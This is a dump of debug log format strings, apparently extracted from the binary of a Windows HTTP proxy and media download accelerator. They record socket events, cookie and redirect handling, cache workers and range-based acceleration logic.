[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the header
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Header was already downloaded
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by FDM (Redirected: %d)
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by Remote worker
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the new header written by Remote worker
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser ParseHeader
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser Initialize
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpHeader BuildHeader
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Response header was changed
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode after parse response
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode after parse response
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error The header is invalid - switch to PassThrough mode!
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning Header is incomplete
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in HEADER state
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Going to analyze %d bytes.
[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Response)
[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Request)
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function BuildHeader field.
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - GetCookie: %s
HTTP/1.1
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function SetRanges field.
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error ParseHeader
HttpProxyRemote::UpdateRequest
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - Redirected: %d
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateRequest failed.
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d *** ReStarting the job ***.
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateDomainName %s failed.
[HttpProxyRemote::ReStartCurrentJob]
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error - Reached max redirections: %d
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The error was not handled.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Worker Status was set to WORKER_STATUS_ERROR.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Job State was set to JOB_STATE_ERROR.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - network error is Permanent !
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - reached Maximum errors !
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Network Error severity: %d.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - m_DownloadState: %d, Errors: %d.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d, JobState:%d ___Error - range download flag is %d, m_DownloadState: %d, Errors: %d.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d - Completed !
[HttpProxyRemote::UpdateParameters] ___Error invalid job or request
[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d - Already connected
[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: socket is not ready for writing.
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: worker is not ready for download - State: %s
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Already Connected to IP:%s.
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Error: The function UpdateParameters failed.
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Starting %lld-%lld (size: %lld)
HttpProxyRemote::StartJob
[HttpProxyRemote::StartRecoveredJob] FDM=%d (%d),Req:%d
[RequestInfo::DownloadAccelerated] Req:%d - Accelerate: %d
[RequestInfo::SetPassThrough] Req:%d - ON
[RequestInfo] Req:%d
[~RequestInfo] Req:%d
https:
%s=%s%s%s
[HttpCookieJar::GetCookie] Removing cookie: %s
[HttpCookieJar::SetCookies] Removing cookie: %s
[NetworkEventsSink::RefreshSocket] socket %d - Refreshed
[NetworkEventsSink::RefreshSocket] ___Error WSAAsyncSelect on socket %d. LE: %d
[NetworkEventsSink::RefreshAsyncSocket] socket %d - Refreshed
[NetworkEventsSink::RefreshAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d
[NetworkEventsSink::ClearSocketMessages] Messages: %d
[NetworkEventsSink::Find] socket %d - was found.
[NetworkEventsSink::Find] socket %d
[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was removed from the sockets map.
[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was not found in the sockets map.
[NetworkEventsSink::RemoveFromSocketsMap] socket %d
[NetworkEventsSink::WindowProc] Finished %s (%d) on socket %d. Err: %d
[NetworkEventsSink::WindowProc] ___Error %s occured (event %x) on socket %d
[NetworkEventsSink::WindowProc] *** %s occured on socket %d, Err: %d.
UNSUPPORTED_EVENT
[NetworkEventsSink::Work] ___Error creating a windows. LE: %d.
[NetworkEventsSink::Work] The class %s was register.
[NetworkEventsSink::Work] ___Error register the class %s. LE: %d
[NetworkEventsSink::RemoveSocket] socket %d - Removed from events sink.
[NetworkEventsSink::RemoveSocket] ___Error removeing socket %d from sockets map.
[NetworkEventsSink::RemoveSocket] ___Error WSAAsyncSelect on socket %d. LE: %d.
[NetworkEventsSink::RemoveAsyncSocket] socket %d - Removed from events sink
[NetworkEventsSink::RemoveAsyncSocket] ___Error removeing socket %d from sockets map.
[NetworkEventsSink::RemoveAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d
[NetworkEventsSink::AddToSocketsMap] ___Warning - socket %d already exists in sockets map.
[NetworkEventsSink::AddToSocketsMap] socket %d - was added to sockets map.
[NetworkEventsSink::AddSocket] socket %d - Added events sink.
[NetworkEventsSink::AddSocket] ___Error WSAAsyncSelect on socket %d. LE: %d
[NetworkEventsSink::AddSocket] ___Error adding socket %d to sockets map.
[NetworkEventsSink::AddAsyncSocket] socket %d - Added to events sink
[NetworkEventsSink::AddAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d
[NetworkEventsSink::AddAsyncSocket] ___Error adding socket %d to sockets map.
[CNetworkInterfaceManager::GetNumberOfInterfaces] Count: %d
[CNetworkInterfaceManager::RegisterInterfaceEvents] Total: %d
[CNetworkInterfaceManager::GetCellularInterfaceAddress] %s - %s
[CNetworkInterfaceManager::GetWifiInterfaceAddress] %s - %s
[CNetworkInterfaceManager::UnRegisterInterfaceEvents] Total: %d
[CNetworkInterfaceManager::VerifyInterface] Network Interface: %s
[CNetworkInterfaceManager::UpdateLocalIPs] Total: %d
[CNetworkInterfaceManager::UpdateLocalIPs] LocalHost IP: %s
[CHttpCacheManager::Cleanup] Cleanup, LastAccess: %d, LastCleanup: %d
[CHttpCacheManager::CreateCacheData] Cleanup, LastAccess: %d, LastCleanup: %d
[CHttpCacheManager::FindCacheData] Url: %s
Cookie: %s
[CHttpCacheManager::DestroyCacheData] Url: %s
[CHttpCacheManager::StopAllCaching] Try to stop - CD:%d, Domain: %s
[CHttpCacheManager::StopAllCaching]
[CHttpCacheManager::Work] ...Leave
[CHttpCacheManager::Work] Cleanup - LastAccess: %d, LastCleanup: %d, Interval: %d -> %d
[CHttpCacheManager::Work] Enter...
[AsyncSocket::Listen] ___Error listening on socket %d. LE: %d
[AsyncSocket::SetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d -> %d
[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d -> %d
[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d -> %d
[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d -> %d
[AsyncSocket::GetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d
[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d
[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d
[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d
[AsyncSocket::IsConnected] ___Warning Socket %d - not connected or invalid.
[AsyncSocket::IsConnected] ___Warning Socket %d - not connected. ret: %d, LE: %d
[AsyncSocket::Read] socket %d, Read: %d, Total: %lld
[AsyncSocket::Read] ___Warning - socket %d can't read from yet.
[AsyncSocket::Read] ___Error reading from socket %d. LE: %d
[AsyncSocket::Read] ___Warning - socket %d is not ready to read from.
[AsyncSocket::Write] socket %d, Written: %u, Total: %lld.
[AsyncSocket::Write] socket %d, Written: %u, Total: %lld. (BytesWrittenSinceLastSecond: %d)
[AsyncSocket::Write] ___Error - socket %d. LE: %d.
[AsyncSocket::Write] ___Warning - socket %d is not ready for writing. LE: WSAEWOULDBLOCK.
[AsyncSocket::Write] ___Warning - socket %d. LE: WSAENOBUFS, reducing buffer size...
[AsyncSocket::Write] ___Error - socket %d failed writing for %d seconds !!!
[AsyncSocket::Write] ___Warning - socket %d is not ready for writing (wait for FD_WRITE event).
[AsyncSocket::Write] ___Error - socket %d invalid.
[AsyncSocket::SetSockName] socket %d, IP: %s, Port: %u
%u.%u.%u.%u
[AsyncSocket::SetPeerName] socket %d, IP: %s, Port: %u
[AsyncSocket::SetMaximumBPSToWrite] socket %d - Max Bps: %d
[AsyncSocket::EnumNetworkEvents] socket %d - Events: %X, Signaled: %X
[AsyncSocket::Ioctl] socket %d, cmd: %d, argp: %p, pOverlapped: %p
[AsyncSocket::GetOverlappedResult] socket %d
[AsyncSocket] socket %d
[AsyncSocket::Initialize] socket %d was initialized.
[AsyncSocket::Initialize] ___Error registering on the network events for socket %d.
[AsyncSocket::Initialize] socket %d - changed SO_SNDBUF: %d
[AsyncSocket::Initialize] socket %d - SO_SNDBUF: %d
[AsyncSocket::UnInitialize] socket %d
[AsyncSocket::Close] socket %d, do nothing
[AsyncSocket::Close] socket %d ___Error RemoveIgnoredConnection
[AsyncSocket::Close] socket %d
[~AsyncSocket] socket %d
[AsyncSocket::Bind] ___Error binding socket %d to port: %u. LE: %d
[AsyncSocket::Bind] new socket %d - %s : %d
[AsyncSocket::Bind] socket %d - %s : %d
[AsyncSocket::Connect] socket %d - connected !
[AsyncSocket::Connect] ___Warning socket %d - Async connecting... LE: %d
[AsyncSocket::Connect] ___Error socket %d, LE: %d
[AsyncSocket::Connect] socket %d - Already connected !
[AsyncSocket::Connect] ___Error socket %d - Already connected to another IP: %s, Port: %u
[AsyncSocket::Connect] socket %d - IP: %s, Port: %u
[CProxyServerPassThrough::SocketReadyToWriteInto] FDM=%d (%d)
[CProxyServerPassThrough::SocketWasConnected] FDM=%d (%d)
[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d) - SocketReadyToReadFrom
[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d)
[CProxyServerPassThrough::ErrorOnSocket] FDM=%d (%d)
[CProxyServerPassThrough] FDM=%d
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error adding port %d to ignore list
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) socket %d - going to add port %d to ignore list
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid IRedirectController
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error GetSockName, LE: %d
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error binding socket %d, LE: %d
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid socket
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - After writing %d bytes into upper level
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Going to write the %d bytes into the upper level
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Read %d bytes from socket %d
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error Reading from socket %d
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Reading from socket %d
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error invalid socket
[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) ___Error connecting, LE: %d
[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connected to %s : %d
[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connecting to %s : %d
[HttpProxyServer::ConnectToServer] FDM=%d (%d) ___Error invalid socket
[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error getting the destination details. Local: %s:%d
[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) - Local: %s:%d, Remote: %s:%d, PID: %d
[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error invalid IRedirectController
[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error GetDestinationIpAndPort
[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error getting the connected IP and Port
[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error ConnectToServer
[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error to initialize Worker: %d.
[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) - Going to initialize Worker: %d.
[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error not enough memory to allocate ProxyPeer.
[SubjectDataProperty::Serialize] ___Error not supported yet
[SubjectDataProperty::Deserialize] ___Error not supported yet
m_PropertyValue.pszValue
m_PropertyValue.pValue
[SubjectDataProperty::GetValue(int)] ___WARNING: m_PropertyType is: %d
[SubjectDataProperty::GetValue(UINT)] ___WARNING: m_PropertyType is: %d
[SubjectDataProperty::GetValue(DWORD)] ___WARNING: m_PropertyType is: %d
[SubjectDataProperty::GetValue(char*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)
[SubjectDataProperty::GetValue(BYTE*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)
[CacheManager::GetCacheWriter] FDM=%d, Dummy - CacheWriter: %p
[CacheManager::GetCacheWriter] FDM=%d, Real - CacheWriter: %p
[CacheManager::Pause] FDM=%d
[CacheManager::Resume] FDM=%d
[CacheManager::SetCacheData] FDM=%d - CD:%d (pICacheData: %p)
[CacheManager::SetFileDownloadMgr] FDM=%d - pIFileDownloadMgr: %p, DownloadSize: %lld
[CacheManager::IsWritingComplete] FDM=%d *** Writing Completed *** (%lld >= %lld)
[CacheManager::StopCacheData] FDM=%d - CacheData has incomplete HTTP header - going to destroy it...
[CacheManager::StopCacheData] FDM=%d
[CacheManager::Stop] FDM=%d
[CacheManager::FindWorkerByRange] FDM=%d - Cache Worker Found!
[CacheManager::FindWorkerByRange] FDM=%d ... Cache Worker range: %lld-%lld
[CacheManager::FindWorkerByRange] FDM=%d ___Error pJobInfo invalid
[CacheManager::FindWorkerByRange] FDM=%d ___Error pICacheWorker invalid
[CacheManager::FindWorkerByRange] FDM=%d ___Error Cache Workers list is empty
[CacheManager::FindWorkerByRange] FDM=%d - Find Chache Worker of range: %lld-%lld
[CacheManager::WriteAvailableBuffer] FDM=%d *** Reached end of Workers list ***
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - Not finished yet. (status:%d)
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p ___Warning Failed to write from cache. (status:%d)
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - WORKER_STATUS_ERROR
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Set Active ***
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Cache Worker Finished ***
[CacheManager::WriteAvailableBuffer] FDM=%d *** Cache Manager Finished ***
[CacheManager::WriteAvailableBuffer] FDM=%d *** Workers list is empty ***
[CacheManager::WriteAvailableBuffer] FDM=%d - Not Working ! (State: %d)
[CacheManager::WriteAvailableBuffer] FDM=%d - State: %d
[CacheManager::RemoveAllWorkers] FDM=%d
[~CacheManager - %p] FDM=%d
[CacheManager::Reset] FDM=%d
[CacheManager::CreateWorker] FDM=%d - Already has an Active CacheWorker: %p
[CacheManager::CreateWorker] FDM=%d - Set Active CacheWorker: %p
[CacheManager::CreateWorker] FDM=%d - Created CacheWorker: %p, Active is: %p
[JobsManager::MergeFailedJobs] Job:%d  = Job:%d
[JobsManager::CreateJob] Job:%d, %lld-%lld
[JobsManager::CreateJob] ___Warning Job:%d, %lld-%lld, already exist
[JobsManager::CreateTimeJob] Job:%d, %lld-0
[JobsManager::DestroyJob] Job:%d
[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Range Size: %lld (%d)
[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Time Range Size: %lld (%d)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error - Unknown algorithm
[AccelerationLogicHD::GetInitialRanges] FDM=%d - Update InitialRangeSize: %lld (bytes)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning - Master downloaded more then its range (%lld > %lld). Reducing number of connection to %d
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error Time Acceleration: LastTimeEndPosition   InitialTimeRangeSize > StartTimePosition   TotalPlayDuration (%lld   %lld > %lld   %lld)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error LastEndPosition >= StartPosition   DownloadSize - 1 (%lld >= %lld)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error RangeIndex > NumberOfConnections (%d > %d)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning AccelerationLogic == AL_NO_ACCELERATION
[AccelerationLogicHD::SetTimeStartPosition] FDM=%d - Start Time Position: %lld (%lld)
[AccelerationLogicHD::SetLastTimeEndPosition] FDM=%d - Last Time End Position: %lld (%lld)
[AccelerationLogicHD::IsToUseOriginalRequest] Res = %s.
[AccelerationLogicHD::IsPartner] Partner = %d
[AccelerationLogicHD::CalculateRangeSizeLimit] ___Warning SizeLimit %d RangeSize cut from %d to %d
[AccelerationLogicHD::CalculateRangeSizeLimit] FDM=%d - Size limit: %lld
[AccelerationLogicHD::UpdateToRegistryValues] BufferingTime: %d
[AccelerationLogicHD::UpdateToRegistryValues] DelayTime: %d
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MinimumRangeSize: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeSize was reduced to the maximum range size: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeSize was increased to: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - MaxRangeSizePerConnection: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - Did not finish downloading the pre-buffering: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seonds play time: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all ranges
[AccelerationLogicHD::CalculateNextRangeSize] WorkerBps: %d
[AccelerationLogicHD::CalculateNextRangeSize] PlayRate: %d
[AccelerationLogicHD::CalculateNextRangeSize] 3G: %d
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeTimeSize was set to the maximum range time size %.1f
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeTimeSize was increased to %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MaxRangeTimeSizePerConnection %lld
[AccelerationLogicHD::GetMinTimeRangeSize] %d (sec)
[AccelerationLogicHD::GetInitialTimeRangeSize] %d (sec)
[AccelerationLogicHD::GetInitialRangeSize] %d (bytes)
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - In about: %.1f seconds
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seconds play time: %lld bytes
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - PlayerPosition >= DownloadPosition (%lld >= %lld)
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Download Potential Buffering Predicted *** - TimeLeftToDownload: %.1f
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 10 seconds... (%lld)
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 5 seconds... (%lld)
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait until finish downloading the player initial cache...
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning invalid m_pRedirectDomainRule
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Active job has completed
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Time acceleration is not supported yet...
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Error invalid pJobInfo
[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Range Size: %lld (%d), 3G: %d
[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Time Range Size: %lld (%d), 3G: %d
[AccelerationLogicHD::GetNextRange] FDM=%d ___Error - Unknown algorithm
[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastTimeEndPosition   InitialTimeRangeSize (%lld   %lld) > StartTimePosition   TotalPlayDuration (%lld   %lld)
[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastEndPosition (%lld) >= StartPosition   DownloadSize - 1 (%lld   %lld)
[AccelerationLogicHD::AccelerateIsSupported] FDM=%d ___Warning - No rule for this domain
AccelerationLogicHD::AccelerateIsSupported
[AccelerationLogicHD::GetRedirectRuleName] FDM=%d - %s
[AccelerationLogicHD::IsToAccelerate] FDM=%d - Enable Acceleration - DownloadRate: %d, PlayTime: %d (Delay: %d)
[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last End Position: %lld --> %lld (%lld)
[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Range Acceleration not needed - All file was downloaded... (%lld >= %lld)
[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last Time End Position: %lld --> %lld (%lld)
[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Time Acceleration not needed - All file was downloaded... (%lld >= %lld)
[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Network too slow for acceleration - wait for pre-buffer to complete... (%d < 7KBps)
[AccelerationLogicHD::FileShouldBeAccelerated] ___Warning - aktimeoffset not supported
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Trail expired
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule pointer for this domain
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule for this domain
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Server is known to not support ranges
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - not a GET command
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Number of connection is set to one
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max TimeRangeSize: %lld (ms)
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max RangeSize: %lld (bytes)
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - MaxNumberOfConnections: %d
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - iTunes
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - QuickTimeWinInet
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d ___Error - invalid m_pRedirectDomainRule
[AccelerationLogicHD::IsPartner] ___Error - get module filename: %d
[AccelerationLogicHD::Reset] FDM=%d
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Uri Offset Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Time Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Range Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Offset Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Time Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Rule Location: %d
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d ___Error - invalid m_pRedirectDomainRule
[CConnectionsManager::OnStartAcceleration] Max: %d, Init: %d, AvgBps: %d
[CConnectionsManager::ResetStartAcceleration] AvgBps: %d
[CConnectionsManager::GetNumberOfConnections] Decreased to: %d, AvgBps: %d (%d)
[CConnectionsManager::GetNumberOfConnections] Increased to: %d, AvgBps: %d (%d)
[CConnectionsManagerSocket] socket %d
[CConnectionsManagerSocket::OnReadEvent] socket %d
[CConnectionsManagerSocket::OnWriteEvent] socket %d
[CConnectionsManagerSocket::OnCloseEvent] socket %d
[CConnectionsManagerSocket::OnAcceptEvent] socket %d
[CConnectionsManagerSocket::OnConnectEvent] socket %d
[~CConnectionsManagerSocket] socket %d
[CConnectionsManager::OnReadEvent] socket %d
[CConnectionsManager::OnWriteEvent] socket %d
[CConnectionsManager::OnConnectEvent] socket %d - Connect Time: %d ms
[CConnectionsManager::PrepareAccelerationConnections] Max: %d, Remote: %s:%d
[CConnectionsManager::AddConnection] socket %d - Remote: %s:%d
[CConnectionsManager::AddConnection] ___Warning socket %d - not connected
[CConnectionsManager::Work] Remote: %s:%d - Done.
[CConnectionsManager::Work] ___Error Connect socket %d
[CConnectionsManager::Work] ___Error AsyncSocket Initialize. LE: %x
[CConnectionsManager::Work] Add socket %d - Remote: %s:%d
[CConnectionsManager::Work] Remote: %s:%d
[CConnectionsManager::Cleanup] %d sockets left in map
[CConnectionsManager::Cleanup] Cleaning %d sockets from map
[CConnectionsManager::RemoveConnection] socket %d
[CConnectionsManager::GetConnection] *** Found socket %d - %s:%d (3G: %d)***
[CConnectionsManager::GetConnection] socket %d - Not matching - %s:%d
[CConnectionsManager::GetConnection] ___Warning socket %d - not ready for Writing or not Connected to %s:%d
[CConnectionsManager::GetConnection] ___Warning socket %d - not connected to %s:%d
[CConnectionsManager::GetConnection] ___Warning socket %d - GetPeerName
[CConnectionsManager::GetConnection] ___Warning socket %d - GetInternalFlag(SOCKET_IS_CELLULAR) - %d
[CConnectionsManager::GetConnection] Remote: %s:%d, 3G: %d
[CConnectionsManager::OnCloseEvent] socket %d
lighttpd/1.4.8
[AccelerationLogic::SetPlayDuration] FDM=%d - Play Duration: %lld
[AccelerationLogic::SetDownloadSize] FDM=%d - Download size: %lld (%lld)
[AccelerationLogic::SetTotalFileSize] FDM=%d - Total File size: %lld
[AccelerationLogic::SetStartPosition] FDM=%d - Start Position: %lld (%lld)
[AccelerationLogic::SetLastEndPosition] FDM=%d - Last End Position: %lld (%lld)
[AccelerationLogic::SetNumberOfConnections] FDM=%d - Max Connections: %d
[AccelerationLogic::SetInitialNumberOfConnections] FDM=%d - Initial Connections: %d
[AccelerationLogic::SetMaximumRangeSize] FDM=%d - Max Range Size: %lld
[AccelerationLogic::SetMaximumBpsToWriteIntoSocket] FDM=%d - Max BPS: %d
[AccelerationLogic::SetRequestRangeLocation] Request Range Location: %d
[AccelerationLogic::UpdateBytesWritten] FDM=%d, Job:%d (3G: %d) - BytesWritten: %lld, TotalBytesWritten: %lld (%lld   %lld)
[AccelerationLogic::ReportOnStartPlay] FDM=%d, Job:%d (3G: %d)
[AccelerationLogic::ReportOnDownloadComplete] FDM=%d (3G: %d)
[AccelerationLogic::IsResponseRangeBiggerThenMaster] FDM=%d ___Warning - Range >= Master (%lld >= %lld)
[AccelerationLogic::IsToIncreaseWorkers] FDM=%d - Increased connections to: %d (%d)
[AccelerationLogic::SetPlayRate] FDM=%d - Play Rate: %d
[AccelerationLogic::UpdateBytesDownloaded] FDM=%d, Job:%d (3G: %d) - BytesDownloaded: %lld, TotalBytesDownloaded: %lld (%lld   %lld)
[AccelerationLogic::CalculateNextRangeSize] PlayTimeLeft %d
